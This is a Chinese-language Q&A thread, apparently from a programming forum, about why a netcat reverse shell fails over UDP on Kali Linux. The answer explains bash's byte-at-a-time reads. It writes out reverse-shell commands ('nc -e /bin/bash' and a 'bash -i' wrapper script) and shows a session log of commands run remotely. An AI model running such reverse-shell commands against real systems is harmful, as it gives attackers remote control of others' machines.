我正在尝试使用默认安装的netcat在两台Linux机器(Kali v.1.0.9)之间建立一个反向shell。 使用下面的命令,我能够在两台机器之间建立连接和中继文本信息:
监听器:
nc -luvvp <port>
客户端:
nc -uvv <ip> <port>
但是,修改客户端的参数以包括在连接上执行bash:
nc -uvv <ip> <port> -e /bin/bash
并没有联系,我不太确定如何让这个工作,这似乎不是其他人经历过的问题,也不确定如何解决问题。它也可能有助于知道这些命令使用普通的TCP模式工作正常,只有在添加u标志后才停止为shell工作。任何帮助将不胜感激,谢谢!
答案 0 :(得分:0)
我做了一些实验,并意识到通过UDP上的netcat进行隧道shell会话几乎是不可能的。 bash不知道底层文件描述符是UDP套接字bash调用 read(),缓冲区大小为1.这对交互式shell来说很好,但是当收到的UDP数据报包含多于1个字节时,数据就是丢失(数据报中的第一个字节除外)。
netcat在stdin使用标准行缓冲区,整个行在单个UDP数据报中发送。但是bash只读取每行的第一个字节。
另一个问题是客户端netcat通过命令
执行nc -uvv -e "/bin/bash" <ip> <port>
不会向服务器发送任何数据,因为bash是在非交互模式下执行的,它只是等待命令。解决方案是编写一个脚本以交互模式执行bash:
$ cat bashinteractive
#!/bin/bash
/bin/bash -i
并致电服务器
$ nc -luvvp <port>
和客户
nc -uvv -e "./bashinteractive" <ip> <port>
但使用非常不方便。当每个字节后跟 ENTER
时,可以在服务器上写入命令$ ./nc -luvvp 6666
listening on [any] 6666 ...
connect to [10.0.2.15] from xxx.yyy.zzz [10.0.2.16] 37552
$ c
cd
d
/
/
$ l
ls
s
-
-l
l
total 92
drwxr-xr-x 2 root root 4096 Feb 7 15:22 bin
....
drwxr-xr-x 13 root root 4096 Oct 16 2013 var
$ e
ex
xi
it
t
exit
sent 30, rcvd 1422 : Connection refused
所以我的建议是使用除netcat之外的其他工具。也许你可以试试 http://code.google.com/p/udptunnel/